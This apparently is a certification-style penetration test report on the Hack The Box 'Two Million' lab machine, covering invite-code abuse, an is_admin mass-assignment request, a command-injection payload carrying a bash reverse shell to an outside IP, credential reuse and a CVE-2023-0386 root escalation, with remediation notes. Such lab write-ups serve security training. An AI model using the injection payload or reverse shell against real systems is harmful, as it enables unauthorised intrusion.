HTB

Penetration Testing Report

TWO MILLION

Penetration Test Report

HTB Certified Penetration Testing Specialist (CPTS)

Candidate Name:	Aliakbar Babayev
Target Customer:	Two Million Ltd.
Version:	1.0
Date:	February 2, 2026

CONFIDENTIAL

CONTENTS

1 EXECUTIVE SUMMARY

1.1 Approach

The assessment was conducted on the "Two Million" environment to identify security vulnerabilities that could compromise the confidentiality, integrity, and availability of the system. The testing methodology followed industry best practices, including the OSSTMM and PTES frameworks.

1.2 Scope

The scope of this assessment was limited to the target host:

- **Name:** 2million.htb
- **IP Address:** 10.10.11.221

1.3 Assessment Overview

The assessment identified critical vulnerabilities allowing for complete system compromise.

1. **Broken Access Control:** Obfuscated JavaScript allowed for the generation of unauthorized invite codes.
2. **Remote Code Execution (RCE):** Improper sanitization in the Admin VPN generation API allowed for command injection.
3. **Privilege Escalation:** The system kernel was vulnerable to CVE-2023-0386 (OverlayFS), granting Root access.

2 INTERNAL NETWORK COMPROMISE WALKTHROUGH

2.1 Initial Access: Invite Code Generation

Analysis of the `invite.js` file revealed an obfuscated function `makeInviteCode()`. Upon deobfuscation and execution, the API endpoint `/api/v1/invite/how/to/generate` was discovered.

By sending a **POST** request to `/api/v1/invite/generate`, a valid invite code was retrieved (Base64 encoded). This allowed for account registration.

2.2 Privilege Escalation: User to Admin

Post-registration enumeration revealed the API structure under `/api/v1`. The endpoint `/api/v1/admin/settings/update` was found to be vulnerable to Mass Assignment or lack of authorization checks on the `is_admin` parameter.

```
PUT /api/v1/admin/settings/update
{
    "email": "samurai@htb.com",
    "is_admin": 1
}
```

2.3 Exploitation: Command Injection

With administrative access, the endpoint `/api/v1/admin/vpn/generate` was accessible. The `username` parameter was found to be vulnerable to OS Command Injection.

Payload Used:

```
{"username": "admin; bash -c 'bash -i >& /dev/tcp/10.10.14.139/4444 0>&1' #"}
```

This resulted in a reverse shell as the `www-data` user.

2.4 Lateral Movement & Root Escalation

A `.env` file in `/var/www/html/` contained cleartext database credentials. These credentials were re-used by the system user `admin`, allowing SSH access.

An email in `/var/mail/admin` warned of kernel CVEs. Enumeration confirmed the kernel version was vulnerable to **CVE-2023-0386 (OverlayFS)**.

Exploit Execution:

- Transferred `fuse.c`, `exp.c`, `getshell.c` to `/tmp`.
- Compiled the exploit.
- Executed `./exp` to create a malicious OverlayFS mount.
- Triggered the SUID binary in `ovlcap/merged/file` to gain Root privileges.

3 TECHNICAL FINDINGS DETAILS

3.1 Critical: OS Command Injection

CVSS Score: 9.8 (Critical)
Description: The application fails to properly sanitize user input in the VPN generation API. **Remediation:** Implement strict input validation and avoid using `exec()` or `system()` calls with user-supplied data.

3.2 High: Local Privilege Escalation (CVE-2023-0386)

CVSS Score: 7.8 (High)
Description: A vulnerability in the Linux Kernel OverlayFS subsystem allows a local user to gain root privileges. **Remediation:** Patch the Linux Kernel to the latest stable version immediately.

4 APPENDIX

4.1 A.1 Exploited Hosts

Host	Vulnerability	Status
2million.htb	OS Command Injection	Compromised
2million.htb	Kernel CVE-2023-0386	Rooted

4.2 A.2 Loot & Flags

Type	Path/Hash
User Flag	`/home/admin/user.txt`
Root Flag	`/root/root.txt`
DB Password	Found in `.env`